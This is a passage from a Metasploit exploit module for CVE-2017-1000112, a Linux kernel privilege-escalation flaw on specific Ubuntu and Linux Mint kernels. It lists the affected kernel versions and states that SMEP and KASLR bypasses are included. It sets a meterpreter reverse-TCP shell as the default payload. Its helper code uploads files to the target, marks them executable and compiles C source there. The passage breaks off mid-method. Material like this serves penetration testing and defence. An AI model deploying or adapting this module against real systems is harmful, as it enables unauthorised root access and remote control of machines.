This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and SMAP disabled. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various Ubuntu and Linux Mint systems, including: Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop; Ubuntu 16.04 4.8.0-53-generic; Linux Mint 17.3 4.4.0-89-generic; Linux Mint 18 4.8.0-58-generic }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit 'h00die', # Metasploit module 'Brendan Coles' # Metasploit module ], 'DisclosureDate' => 'Aug 10 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2017-1000112' ], [ 'EDB', '43418' ], [ 'BID', '100262' ], [ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ], [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ], [ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ], [ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql?
